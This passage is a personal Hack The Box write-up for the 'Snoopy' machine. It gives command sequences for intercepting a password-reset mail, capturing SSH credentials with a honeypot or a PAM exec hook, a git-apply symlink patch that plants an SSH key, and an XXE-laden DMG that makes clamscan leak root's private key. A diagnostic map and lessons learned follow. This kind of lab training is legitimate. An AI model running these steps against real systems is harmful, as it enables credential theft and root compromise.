sudo postconf -e "mydestination = \$myhostname, localhost.\$mydomain, localhost, \$mydomain, snoopy.htb"
sudo postconf -e "inet_interfaces = all"
sudo postconf -e "inet_protocols = ipv4"
sudo postconf -e "mynetworks = 127.0.0.0/8, 10.0.0.0/8"
sudo systemctl restart postfix
sudo ss -ltnp | grep ':25'Create mailbox
USER=sbrown
sudo useradd -m "$USER" 2>/dev/null || true
sudo touch "/var/mail/$USER"
sudo chown "$USER":mail "/var/mail/$USER"
sudo chmod 660 "/var/mail/$USER"
sudo truncate -s 0 "/var/mail/$USER"Monitor SMTP
sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 25
sudo journalctl -u postfix -fExtract Mattermost reset URL
sudo cat /var/mail/sbrown | \
python3 -c 'import sys, quopri; print(quopri.decodestring(sys.stdin.buffer.read()).decode("utf-8", "replace"))' | \
grep -oE 'https?://[^ "]+'SSH honeypot
cd ~/htb/snoopy
git clone https://github.com/jaksi/sshesame.git
cd sshesame
go build
cp sshesame.yaml snoopy-2222.yaml
vi snoopy-2222.yamlSet:
listen_address: "0.0.0.0:2222"Run:
sudo ./sshesame -config snoopy-2222.yaml 2>&1 | tee ../sshesame-2222.logAlternative: PAM credential capture (attacker box)
find / -name pam_exec.so 2>/dev/null
cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh
# insert BEFORE pam_unix.so (top of the stack), not appended to the bottom β
# pam_deny.so at the bottom terminates the stack for unknown users
sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-auth
# attacker sshd_config: UsePAM yes, PasswordAuthentication yes
sudo systemctl restart ssh
# forward the 2222 callback into the real sshd on 22
socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22
# 1st /server_provision -> log shows "cbrown:" (username only, empty password)
cat /dev/shm/pwned.log
# create the account so sshd runs the real auth path, then 2nd /server_provision
sudo useradd cbrown
cat /dev/shm/pwned.log # now: cbrown:[CBROWN_PASSWORD]
# cleanup
sudo sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth
sudo userdel cbrownSSH as cbrown
ssh cbrown@[TARGET_IP]cbrown enumeration
whoami
id
groups
hostname
ls -la ~
sudo -lGenerate sbrown SSH key locally
ssh-keygen -t ed25519 -f ~/htb/snoopy/sbrown_key -N ''
cat ~/htb/snoopy/sbrown_key.pubGit symlink repo on target
cd /dev/shm
rm -rf r
mkdir r
chgrp devops r
chmod 775 r
cd r
git init
git config user.email cbrown@snoopy.htb
git config user.name cbrown
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m init
git ls-files -sGit patch
PUBKEY='ssh-ed25519 AAAA... user@parrot'
cat > patch <<EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..1111111
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+$PUBKEY
EOF
nl -ba patchApply patch as sbrown
sudo -u sbrown /usr/bin/git apply -v patchSSH as sbrown
chmod 600 ~/htb/snoopy/sbrown_key
ssh -i ~/htb/snoopy/sbrown_key sbrown@[TARGET_IP]sbrown enumeration
whoami
id
groups
sudo -l
ls -la ~
ls -la ~/scanfiles
find ~ -maxdepth 3 -type f -ls 2>/dev/null
which clamscan
clamscan --version
clamscan -hBuild crafted DMG
cd ~/htb/snoopy
mkdir -p clamav_dmg
cd clamav_dmg
sudo apt install -y git cmake build-essential genisoimage
mkdir mnt
echo test > mnt/test.txt
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg mnt
git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplus
grep -R "plistHeader" -n .
grep -R "writeResources" -n .
vi dmg/resources.cdmg/resources.c XXE header
Proof target:
const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";Root key target:
const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";writeResources modification
Change:
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
curResource->key);To:
abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
"&xxe;");Compile and generate DMG
cmake . -B build
make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmg
strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|plist|id_rsa|hostname'Serve DMG
cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081Download and scan on target
cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug.txtSearch debug output
grep -A20 -B20 -Ei 'snoopy|hostname|plist|resource|xxe|dmg' /tmp/clamdebug.txt
grep -A120 -B10 'BEGIN OPENSSH PRIVATE KEY\|BEGIN RSA PRIVATE KEY' /tmp/clamdebug.txtRoot SSH
vi ~/htb/snoopy/id_rsa
chmod 600 ~/htb/snoopy/id_rsa
ssh -i ~/htb/snoopy/id_rsa root@[TARGET_IP]Root flag
id
hostname
cat /root/root.txtπ§ Diagnostic Map
Symptom: dig ns snoopy.htb returns NXDOMAIN
Meaning: Query is going to local DNS, not the target DNS service
Next: Query directly with dig ns snoopy.htb @[TARGET_IP]
Symptom: AXFR succeeds but records point to 127.0.0.1 or 172.18.0.x
Meaning: Records are meaningful from the target/internal Docker context
Next: Add useful vhost names to /etc/hosts pointing to [TARGET_IP]
Symptom: Mattermost registration says contact admin
Meaning: Self-registration is disabled
Next: Test password reset behavior for discovered email addresses
Symptom: Password reset says failed to send email for sbrown@snoopy.htb
Meaning: Account likely exists, but mail delivery failed
Next: Investigate mail/DNS infrastructure
Symptom: mail.snoopy.htb shows the main website
Meaning: Local /etc/hosts mapping points it to the web server; this does not prove real DNS
Next: Query target DNS directly and look for DNS update possibilities
Symptom: LFI returns a ZIP instead of raw file content
Meaning: The download feature wraps files into an archive
Next: Save the response and extract or print the file from the archive
Symptom: /etc/passwd is readable
Meaning: LFI is confirmed
Next: Read service configuration files, especially BIND config
Symptom: BIND config contains rndc-key and allow-update
Meaning: Authenticated dynamic DNS update is possible
Next: Create an nsupdate key file and add a test record
Symptom: nsupdate returns REFUSED
Meaning: Update was unsigned or wrong key/server/zone was used
Next: Use nsupdate -k keyfile and specify server plus zone
Symptom: ttl 'A' is not a valid number
Meaning: nsupdate syntax is wrong
Next: Use update add name. 60 A ip
Symptom: mail.snoopy.htb record disappears
Meaning: Zone may be reset or cleaned
Next: Keep reapplying the DNS update in a short loop during exploitation
Symptom: Postfix will not start on port 25
Meaning: Another service, such as INetSim, is already listening
Next: Stop the conflicting service and restart Postfix
Symptom: Postfix receives the reset mail but it looks encoded
Meaning: Email body is quoted-printable or MIME encoded
Next: Decode with Python quopri before grepping URLs
Symptom: Server provision callback hits TCP/2222 but no shell appears
Meaning: It is an SSH client callback, not a reverse shell
Next: Use an SSH honeypot instead of netcat
Symptom: sshesame captures cbrown credentials and command ls -la
Meaning: Provisioning automation attempted SSH login successfully
Next: Try SSH to the real target as cbrown
Symptom: sudo -l for cbrown only allows git apply -v patch
Meaning: No direct shell escape; only patch parsing as sbrown
Next: Use a Git symlink patch file-write technique
Symptom: Git patch says corrupt patch at line 12
Meaning: Patch formatting is wrong
Next: Ensure the SSH public key line starts with + and remains one line
Symptom: Vim says E212: Can't open file for writing
Meaning: Directory or file state is wrong, or editor cannot write there
Next: Use heredoc patch creation and check pwd, id, ls -ld .
Symptom: Git says Unable to read current working directory
Meaning: Current /dev/shm/r directory is stale/deleted
Next: cd /dev/shm, recreate r, and re-enter the directory
Symptom: SSH as sbrown asks for password
Meaning: authorized_keys was not written correctly or key permissions are wrong
Next: Recheck patch output and use the matching private key with chmod 600
Symptom: sudo -l for sbrown allows only ClamAV with a strict path
Meaning: Direct flag/key read is blocked
Next: Look for parser issues in file types ClamAV scans
Symptom: ClamAV scan says OK
Meaning: No malware detected, but this does not matter
Next: Inspect --debug output for parser-disclosed content
Symptom: No debug output appears
Meaning: Debug messages may be on stderr
Next: Use 2>&1 | tee /tmp/clamdebug.txt
Symptom: strings c.dmg does not show DOCTYPE or &xxe;
Meaning: Wrong source file edited or DMG not regenerated
Next: Rebuild libdmg-hfsplus and regenerate c.dmg
Symptom: /etc/hostname leaks as snoopy.htb
Meaning: XXE primitive works
Next: Retarget entity to a root-readable credential file
Symptom: Root key fails with invalid format
Meaning: Key was copied with debug prefixes, missing lines, or bad wrapping
Next: Copy only the full PEM block and preserve exact line breaks
Symptom: SSH rejects the key due to permissions
Meaning: Private key file permissions are too open
Next: chmod 600 id_rsa
π Related Manual Notes
Field-manual techniques demonstrated on this box:
- Nmap_Host_Port_Scanning β initial service discovery and full TCP validation
- Nmap_Saving_Results β keeping scan outputs reproducible with
-oA - DNS_Zone_Transfers β AXFR pulling the vhost layout
- Attacking_DNS β RNDC key disclosure β authenticated dynamic DNS update (RFC 2136)
- Virtual_Hosts β vhost triage from the recovered records
- LFI_Path_Traversal_Bypasses β path traversal through the download endpoint
- Web_Proxies_Request_Manipulation β intercepting the download request to find the
fileparameter - Attacking_Email_Services β SMTP password-reset interception
- SMTP_Ports_25_465_587 β standing up a Postfix receiver
- Linux_Remote_Management_SSH_Rsync_RServices β SSH honeypot capture and key-based access
- Linux_Auth_Process β
pam_exec/expose_authtokcredential interception (the honeypot alternative) - Linux_PrivEsc_Quick_Reference β immediate
id,groups, andsudo -lafter shell - Linux_PrivEsc_Enumeration β local enumeration after
cbrownandsbrownaccess - Linux_PrivEsc_Permissions_Sudo β constrained sudo abuse (
git applysymlink write,clamscanparser) - XXE_Injection β ClamAV DMG external-entity file read as root
- Master_PrivEsc_Commands β repeatable privilege-escalation command workflow
- Service_Attack_Methodology β protocol-specific exploitation after minimal port exposure
π Personal Notes
Snoopy was one of the hardest user chains so far because the path did not stop at a single foothold. It required chaining service behavior across DNS, web, mail, Mattermost automation, SSH, Git, and local sudo rules.
The first important lesson was that the exposed port list was tiny, but not simple. Only SSH, DNS, and HTTP were externally visible. That made it tempting to over-focus on version-based vulnerabilities, especially BIND. The correct path was configuration and workflow abuse.
The AXFR was the first major clue. It revealed the vhost layout and showed that the machine had Mattermost and provisioning-related infrastructure. The internal Docker IPs were useful context, but not directly reachable. The actionable result was the vhost list.
The web stage rewarded careful request inspection. The download endpoint looked like normal press-release functionality, but the file parameter allowed path traversal. The first useful file was /etc/passwd, because it showed cbrown and sbrown. The more important files were the BIND configuration files.
The BIND config was the real pivot. The leaked rndc-key and allow-update setting meant DNS could be modified legitimately. That changed the situation completely: the offline mail.snoopy.htb clue became exploitable.
The Mattermost password reset behavior was subtle. The reset did not immediately give access, but the error differentiated a valid user from invalid addresses. Once mail.snoopy.htb was pointed to the attacker IP and Postfix was listening, the failed reset path became an account takeover path.
Setting up Postfix was a good operational reminder. INetSim was already bound to port 25, which caused confusion until the listener conflict was checked. After Postfix was correctly listening on 0.0.0.0:25, the email landed cleanly in /var/mail/sbrown.
Mattermost itself was not the final objective. It was a source of internal process knowledge. The /server_provision command was the next bridge. The server provisioning callback looked confusing at first because a TCP connection arrived on 2222 but did not behave like a shell. The key realization was that the target was attempting SSH.
The SSH honeypot step was very CPTS-style. Instead of trying to exploit the callback, we impersonated the expected server and captured the authentication attempt. sshesame was the right tool because the automation used Paramiko and password-based SSH.
The cbrown to sbrown step was probably the hardest user part. The sudo rule looked extremely constrained: git apply -v with only a simple filename. The bypass came from understanding Git patch behavior and symlinks, not from adding flags or escaping the command.
Patch formatting mattered a lot. The public key had to be one line and had to be added with a leading +. The stale /dev/shm/r directory issue also created a confusing Git error. Recreating the repo cleanly fixed it.
The final root path was elegant because the sudo rule was also constrained. sbrown could not scan arbitrary paths or pass arbitrary ClamAV flags. The only allowed action was clamscan --debug against files in scanfiles. That forced a parser-based approach.
ClamAV 1.0.0 and the DMG XXE issue matched perfectly. Building the malicious DMG by modifying libdmg-hfsplus felt more realistic than just downloading a ready-made exploit. The harmless /etc/hostname test was important because it proved the primitive before touching root-owned material.
The debug output line:
cli_scandmg: wanted blkx, text value is snoopy.htbwas the moment the root path was confirmed. From there, changing the entity target to /root/.ssh/id_rsa gave a real root shell instead of just a flag read.
Overall methodology:
Enumerate DNS directly. Treat vhosts as infrastructure clues. Use LFI to read configuration, not only flags. Think about how failed workflows can be redirected. Use real services when intercepting protocols. Identify whether a callback is shell, HTTP, or SSH before choosing a listener. Read sudo regexes carefully. When a command is constrained, attack the file format it processes. Prove file-read primitives with harmless files first. Prefer credential disclosure that gives an interactive shell over direct flag disclosure.